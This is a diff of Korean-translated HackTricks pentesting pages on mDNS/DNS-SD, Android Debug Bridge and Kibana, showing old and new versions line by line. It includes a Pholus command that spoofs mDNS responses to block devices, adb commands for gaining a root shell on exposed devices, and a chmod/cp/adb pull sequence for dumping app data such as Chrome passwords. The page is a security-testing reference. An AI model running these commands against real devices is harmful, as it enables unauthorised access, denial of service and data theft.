* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
||||||
* 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family)인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를** **팔로우**하세요.
|
|
||||||
* **HackTricks**와 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하여 여러분의 해킹 기법을 공유하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,86 +1,87 @@
|
||||||
# 5353/UDP 멀티캐스트 DNS (mDNS) 및 DNS-SD
|
# 5353/UDP Multicast DNS (mDNS) 및 DNS-SD
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
<summary>HackTricks 지원하기</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||||
|
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를** **팔로우**하세요.
|
|
||||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
## **기본 정보**
|
## **기본 정보**
|
||||||
|
|
||||||
**멀티캐스트 DNS (mDNS)**는 전통적인 DNS 서버가 필요하지 않고 로컬 네트워크 내에서 **DNS와 유사한 작업**을 가능하게 합니다. 이는 **UDP 포트 5353**에서 작동하며, 다양한 IoT 장치에서 자주 볼 수 있는 장치들이 서로 및 서비스를 발견할 수 있도록 합니다. **DNS 서비스 검색 (DNS-SD)**은 종종 mDNS와 함께 사용되며, 표준 DNS 쿼리를 통해 네트워크에서 사용 가능한 서비스를 식별하는 데 도움을 줍니다.
|
**Multicast DNS (mDNS)**는 전통적인 DNS 서버 없이 로컬 네트워크 내에서 **DNS와 유사한 작업**을 가능하게 합니다. **UDP 포트 5353**에서 작동하며, 장치들이 서로 및 그들의 서비스를 발견할 수 있게 해주며, 다양한 IoT 장치에서 일반적으로 볼 수 있습니다. **DNS 서비스 검색(DNS-SD)**는 mDNS와 함께 자주 사용되며, 표준 DNS 쿼리를 통해 네트워크에서 사용 가능한 서비스를 식별하는 데 도움을 줍니다.
|
||||||
```
|
```
|
||||||
PORT STATE SERVICE
|
PORT STATE SERVICE
|
||||||
5353/udp open zeroconf
|
5353/udp open zeroconf
|
||||||
```
|
```
|
||||||
### **mDNS의 작동 방식**
|
### **mDNS의 작동**
|
||||||
|
|
||||||
표준 DNS 서버가 없는 환경에서 mDNS는 장치가 **.local**로 끝나는 도메인 이름을 해결하기 위해 멀티캐스트 주소 **224.0.0.251** (IPv4) 또는 **FF02::FB** (IPv6)를 쿼리하는 것을 가능하게 합니다. mDNS의 중요한 측면은 레코드 유효성을 나타내는 **Time-to-Live (TTL)** 값과 유니캐스트와 멀티캐스트 쿼리를 구분하는 **QU 비트**가 있습니다. 보안 측면에서, mDNS 구현에서 패킷의 소스 주소가 로컬 서브넷과 일치하는지 확인하는 것이 중요합니다.
|
표준 DNS 서버가 없는 환경에서 mDNS는 장치가 **.local**로 끝나는 도메인 이름을 해결할 수 있도록 **224.0.0.251** (IPv4) 또는 **FF02::FB** (IPv6) 멀티캐스트 주소를 쿼리합니다. mDNS의 중요한 측면에는 레코드 유효성을 나타내는 **Time-to-Live (TTL)** 값과 유니캐스트 쿼리와 멀티캐스트 쿼리를 구분하는 **QU 비트**가 포함됩니다. 보안 측면에서 mDNS 구현은 패킷의 출발지 주소가 로컬 서브넷과 일치하는지 확인하는 것이 중요합니다.
|
||||||
|
|
||||||
### **DNS-SD의 작동 방식**
|
### **DNS-SD의 기능**
|
||||||
|
|
||||||
DNS-SD는 서비스 유형을 해당 인스턴스에 매핑하는 포인터 레코드 (PTR)를 쿼리함으로써 네트워크 서비스의 검색을 용이하게 합니다. 서비스는 **.local** 도메인 내에서 **_\<Service>.\_tcp 또는 \_\<Service>.\_udp** 패턴을 사용하여 식별되며, 이를 통해 해당 서비스에 대한 자세한 정보를 제공하는 **SRV** 및 **TXT 레코드**를 발견할 수 있습니다.
|
DNS-SD는 서비스 유형을 해당 인스턴스에 매핑하는 포인터 레코드(PTR)를 쿼리하여 네트워크 서비스의 발견을 용이하게 합니다. 서비스는 **.local** 도메인 내에서 **_\<Service>.\_tcp 또는 \_\<Service>.\_udp** 패턴을 사용하여 식별되며, 이는 해당 **SRV** 및 **TXT 레코드**를 발견하게 하여 자세한 서비스 정보를 제공합니다.
|
||||||
|
|
||||||
### **네트워크 탐색**
|
### **네트워크 탐색**
|
||||||
|
|
||||||
#### **nmap 사용법**
|
#### **nmap 사용법**
|
||||||
|
|
||||||
mDNS 서비스를 스캔하기 위한 로컬 네트워크 스캔에 유용한 명령어는 다음과 같습니다:
|
mDNS 서비스를 위해 로컬 네트워크를 스캔하는 유용한 명령은:
|
||||||
```bash
|
```bash
|
||||||
nmap -Pn -sUC -p5353 [target IP address]
|
nmap -Pn -sUC -p5353 [target IP address]
|
||||||
```
|
```
|
||||||
이 명령은 열린 mDNS 포트와 그 위에서 광고된 서비스를 식별하는 데 도움이 됩니다.
|
이 명령은 열려 있는 mDNS 포트와 그 위에서 광고되는 서비스를 식별하는 데 도움이 됩니다.
|
||||||
|
|
||||||
#### **Pholus를 사용한 네트워크 열거**
|
#### **Pholus를 이용한 네트워크 열거**
|
||||||
|
|
||||||
**Pholus** 도구를 사용하여 mDNS 요청을 활성화하고 트래픽을 캡처할 수 있습니다. 다음과 같이 사용할 수 있습니다:
|
mDNS 요청을 적극적으로 보내고 트래픽을 캡처하기 위해 **Pholus** 도구를 다음과 같이 사용할 수 있습니다:
|
||||||
```bash
|
```bash
|
||||||
sudo python3 pholus3.py [network interface] -rq -stimeout 10
|
sudo python3 pholus3.py [network interface] -rq -stimeout 10
|
||||||
```
|
```
|
||||||
## 공격
|
## Attacks
|
||||||
|
|
||||||
### **mDNS 프로빙(exploiting) 공격**
|
### **mDNS 프로빙 악용**
|
||||||
|
|
||||||
공격 벡터는 mDNS 프로브에 위조된 응답을 보내어 모든 잠재적인 이름이 이미 사용 중임을 시사하여 새로운 장치가 고유한 이름을 선택하는 것을 방해하는 것입니다. 이는 다음을 사용하여 실행할 수 있습니다:
|
공격 벡터는 mDNS 프로브에 스푸핑된 응답을 보내는 것으로, 모든 잠재적인 이름이 이미 사용 중임을 제안하여 새로운 장치가 고유한 이름을 선택하는 것을 방해합니다. 이는 다음을 사용하여 실행할 수 있습니다:
|
||||||
```bash
|
```bash
|
||||||
sudo python pholus.py [network interface] -afre -stimeout 1000
|
sudo python pholus.py [network interface] -afre -stimeout 1000
|
||||||
```
|
```
|
||||||
이 기술은 새로운 장치가 네트워크에 서비스를 등록하는 것을 효과적으로 차단합니다.
|
이 기술은 새로운 장치가 네트워크에 서비스를 등록하는 것을 효과적으로 차단합니다.
|
||||||
|
|
||||||
**요약하자면**, mDNS와 DNS-SD의 작동 방식을 이해하는 것은 네트워크 관리와 보안에 중요합니다. **nmap**과 **Pholus**와 같은 도구는 로컬 네트워크 서비스에 대한 유용한 통찰력을 제공하며, 잠재적인 취약점에 대한 인식은 공격으로부터 보호하는 데 도움이 됩니다.
|
**요약하자면**, mDNS와 DNS-SD의 작동 방식을 이해하는 것은 네트워크 관리 및 보안에 매우 중요합니다. **nmap** 및 **Pholus**와 같은 도구는 로컬 네트워크 서비스에 대한 귀중한 통찰력을 제공하며, 잠재적인 취약점에 대한 인식은 공격으로부터 보호하는 데 도움이 됩니다.
|
||||||
|
|
||||||
|
### 스푸핑/중간자 공격
|
||||||
|
|
||||||
### 스푸핑/MitM
|
이 서비스에서 수행할 수 있는 가장 흥미로운 공격은 **클라이언트와 실제 서버 간의 통신에서 MitM**을 수행하는 것입니다. 민감한 파일(프린터와의 통신에서 MitM)이나 자격 증명(Windows 인증)을 얻을 수 있을지도 모릅니다.\
|
||||||
|
자세한 내용은 다음을 확인하세요:
|
||||||
이 서비스를 통해 수행할 수 있는 가장 흥미로운 공격은 **클라이언트와 실제 서버 간의 통신에서 MitM을 수행**하는 것입니다. 프린터와의 통신을 MitM하는 것을 통해 민감한 파일을 얻을 수 있거나 (Windows 인증) 자격 증명을 획득할 수 있을 수도 있습니다.\
|
|
||||||
자세한 정보는 다음을 참조하십시오:
|
|
||||||
|
|
||||||
{% content-ref url="../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md" %}
|
{% content-ref url="../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md" %}
|
||||||
[spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md](../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
[spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md](../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
## 참고 자료
|
## 참고문헌
|
||||||
|
|
||||||
* [Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things](https://books.google.co.uk/books/about/Practical\_IoT\_Hacking.html?id=GbYEEAAAQBAJ\&redir\_esc=y)
|
* [Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things](https://books.google.co.uk/books/about/Practical\_IoT\_Hacking.html?id=GbYEEAAAQBAJ\&redir\_esc=y)
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
||||||
* 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family)인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를** 팔로우하세요.
|
|
||||||
* **HackTricks**와 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하여 여러분의 해킹 기법을 공유하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,39 +1,40 @@
|
||||||
# 5555 - 안드로이드 디버그 브리지
|
# 5555 - Android Debug Bridge
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
|
||||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
## 기본 정보
|
## 기본 정보
|
||||||
|
|
||||||
[문서](https://developer.android.com/studio/command-line/adb)에서 알 수 있듯이:
|
From [the docs](https://developer.android.com/studio/command-line/adb):
|
||||||
|
|
||||||
**안드로이드 디버그 브리지**(adb)는 장치와 통신할 수 있는 다용도 명령줄 도구입니다. adb 명령은 **앱을 설치하고 디버깅하는** 등 다양한 장치 작업을 용이하게 해주며, **Unix 쉘에 액세스**하여 장치에서 다양한 명령을 실행할 수 있습니다.
|
**Android Debug Bridge** (adb)는 장치와 통신할 수 있는 다목적 명령줄 도구입니다. adb 명령은 **앱 설치 및 디버깅**과 같은 다양한 장치 작업을 용이하게 하며, 장치에서 다양한 명령을 실행할 수 있는 **Unix 셸에 대한 액세스**를 제공합니다.
|
||||||
|
|
||||||
**기본 포트**: 5555.
|
**기본 포트**: 5555.
|
||||||
```
|
```
|
||||||
PORT STATE SERVICE VERSION
|
PORT STATE SERVICE VERSION
|
||||||
5555/tcp open adb Android Debug Bridge device (name: msm8909; model: N3; device: msm8909)
|
5555/tcp open adb Android Debug Bridge device (name: msm8909; model: N3; device: msm8909)
|
||||||
```
|
```
|
||||||
## 연결하기
|
## Connect
|
||||||
|
|
||||||
디바이스의 포트에서 실행 중인 ADB 서비스를 찾고 연결할 수 있다면, **시스템 내부에 쉘을 얻을 수 있습니다:**
|
ADB 서비스가 장치의 포트에서 실행되고 있고 연결할 수 있다면, **시스템 내부에서 셸을 얻을 수 있습니다:**
|
||||||
```bash
|
```bash
|
||||||
adb connect 10.10.10.10
|
adb connect 10.10.10.10
|
||||||
adb root # Try to escalate to root
|
adb root # Try to escalate to root
|
||||||
adb shell
|
adb shell
|
||||||
```
|
```
|
||||||
더 많은 ADB 명령어를 확인하려면 다음 페이지를 참조하세요:
|
더 많은 ADB 명령어는 다음 페이지를 확인하세요:
|
||||||
|
|
||||||
{% content-ref url="../mobile-pentesting/android-app-pentesting/adb-commands.md" %}
|
{% content-ref url="../mobile-pentesting/android-app-pentesting/adb-commands.md" %}
|
||||||
[adb-commands.md](../mobile-pentesting/android-app-pentesting/adb-commands.md)
|
[adb-commands.md](../mobile-pentesting/android-app-pentesting/adb-commands.md)
|
||||||
|
@ -41,29 +42,30 @@ adb shell
|
||||||
|
|
||||||
### 앱 데이터 덤프
|
### 앱 데이터 덤프
|
||||||
|
|
||||||
앱의 데이터를 완전히 다운로드하려면 다음을 수행할 수 있습니다:
|
애플리케이션의 데이터를 완전히 다운로드하려면 다음을 수행할 수 있습니다:
|
||||||
```bash
|
```bash
|
||||||
# From a root console
|
# From a root console
|
||||||
chmod 777 /data/data/com.package
|
chmod 777 /data/data/com.package
|
||||||
cp -r /data/data/com.package /sdcard Note: Using ADB attacker cannot obtain data directly by using command " adb pull /data/data/com.package". He is compulsorily required to move data to Internal storage and then he can pull that data.
|
cp -r /data/data/com.package /sdcard Note: Using ADB attacker cannot obtain data directly by using command " adb pull /data/data/com.package". He is compulsorily required to move data to Internal storage and then he can pull that data.
|
||||||
adb pull "/sdcard/com.package"
|
adb pull "/sdcard/com.package"
|
||||||
```
|
```
|
||||||
이 요령을 사용하여 **크롬 비밀번호와 같은 민감한 정보를 검색**할 수 있습니다. 이에 대한 자세한 정보는 [**여기**](https://github.com/carlospolop/hacktricks/issues/274)에서 제공하는 정보를 확인하십시오.
|
You can use this trick to **민감한 정보(예: 크롬 비밀번호)를 검색**할 수 있습니다. 이에 대한 자세한 정보는 제공된 [**여기**](https://github.com/carlospolop/hacktricks/issues/274)에서 확인하세요.
|
||||||
|
|
||||||
## Shodan
|
## Shodan
|
||||||
|
|
||||||
* `안드로이드 디버그 브리지`
|
* `android debug bridge`
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를** 팔로우하세요.
|
|
||||||
* **HackTricks**와 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하여 자신의 해킹 요령을 공유하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,53 +1,55 @@
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
||||||
* 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
|
||||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 여러분의 해킹 기법을 공유하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
|
||||||
# 기본 정보
|
# 기본 정보
|
||||||
|
|
||||||
Kibana는 일반적으로 **5601** 포트에서 실행되는 Elasticsearch 내에서 데이터를 검색하고 시각화하는 기능으로 알려져 있습니다. Elastic Stack 클러스터의 모니터링, 관리 및 보안 기능에 대한 인터페이스로 작동합니다.
|
Kibana는 일반적으로 포트 **5601**에서 실행되는 Elasticsearch 내에서 데이터를 검색하고 시각화하는 능력으로 알려져 있습니다. 이는 Elastic Stack 클러스터의 모니터링, 관리 및 보안 기능을 위한 인터페이스 역할을 합니다.
|
||||||
|
|
||||||
## 인증 이해
|
## 인증 이해하기
|
||||||
|
|
||||||
Kibana에서의 인증 프로세스는 본질적으로 Elasticsearch에서 사용되는 **자격 증명과 연결**되어 있습니다. Elasticsearch에서 인증이 비활성화된 경우, 자격 증명 없이 Kibana에 액세스할 수 있습니다. 반대로, Elasticsearch가 자격 증명으로 보호되어 있는 경우, 동일한 자격 증명이 Kibana에 액세스하는 데 필요하며, 두 플랫폼 간에 동일한 사용자 권한을 유지합니다. 자격 증명은 **/etc/kibana/kibana.yml** 파일에서 찾을 수 있습니다. 이 자격 증명이 **kibana_system** 사용자와 관련이 없는 경우, kibana_system 사용자의 액세스는 모니터링 API 및 .kibana 인덱스로 제한되므로 더 넓은 액세스 권한을 제공할 수 있습니다.
|
Kibana에서의 인증 과정은 본질적으로 **Elasticsearch에서 사용되는 자격 증명**과 연결되어 있습니다. Elasticsearch에서 인증이 비활성화된 경우, Kibana는 자격 증명 없이 접근할 수 있습니다. 반대로, Elasticsearch가 자격 증명으로 보호되는 경우, Kibana에 접근하기 위해 동일한 자격 증명이 필요하며, 두 플랫폼 간에 동일한 사용자 권한이 유지됩니다. 자격 증명은 **/etc/kibana/kibana.yml** 파일에서 찾을 수 있습니다. 이러한 자격 증명이 **kibana_system** 사용자와 관련이 없다면, 더 넓은 접근 권한을 제공할 수 있습니다. kibana_system 사용자의 접근은 모니터링 API 및 .kibana 인덱스로 제한됩니다.
|
||||||
|
|
||||||
## 액세스 후 조치
|
## 접근 시 조치
|
||||||
|
|
||||||
Kibana에 액세스한 후에는 다음과 같은 조치가 권장됩니다:
|
Kibana에 대한 접근이 확보되면, 몇 가지 조치를 취하는 것이 바람직합니다:
|
||||||
|
|
||||||
- Elasticsearch에서 데이터를 탐색하는 것이 우선입니다.
|
- Elasticsearch의 데이터를 탐색하는 것이 우선입니다.
|
||||||
- 사용자 관리 기능, 즉 사용자, 역할 또는 API 키의 편집, 삭제 또는 생성은 Stack Management -> Users/Roles/API Keys에서 찾을 수 있습니다.
|
- 사용자 관리 기능, 즉 사용자, 역할 또는 API 키의 편집, 삭제 또는 생성을 관리할 수 있는 기능은 Stack Management -> Users/Roles/API Keys 아래에서 찾을 수 있습니다.
|
||||||
- 알려진 취약점, 예를 들어 6.6.0 이전 버전에서 식별된 RCE 취약점과 같은 Kibana의 설치된 버전을 확인하는 것이 중요합니다. ([자세한 정보](https://insinuator.net/2021/01/pentesting-the-elk-stack/#ref2)).
|
- 알려진 취약점, 예를 들어 6.6.0 이전 버전에서 확인된 RCE 취약점에 대해 Kibana의 설치된 버전을 확인하는 것이 중요합니다 ([자세한 정보](https://insinuator.net/2021/01/pentesting-the-elk-stack/#ref2)).
|
||||||
|
|
||||||
## SSL/TLS 고려 사항
|
## SSL/TLS 고려 사항
|
||||||
|
|
||||||
SSL/TLS가 활성화되지 않은 경우, 민감한 정보 누출 가능성을 철저히 평가해야 합니다.
|
SSL/TLS가 활성화되지 않은 경우, 민감한 정보가 유출될 가능성을 철저히 평가해야 합니다.
|
||||||
|
|
||||||
## 참고 자료
|
## 참고 문헌
|
||||||
|
|
||||||
* [https://insinuator.net/2021/01/pentesting-the-elk-stack/](https://insinuator.net/2021/01/pentesting-the-elk-stack/)
|
* [https://insinuator.net/2021/01/pentesting-the-elk-stack/](https://insinuator.net/2021/01/pentesting-the-elk-stack/)
|
||||||
|
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
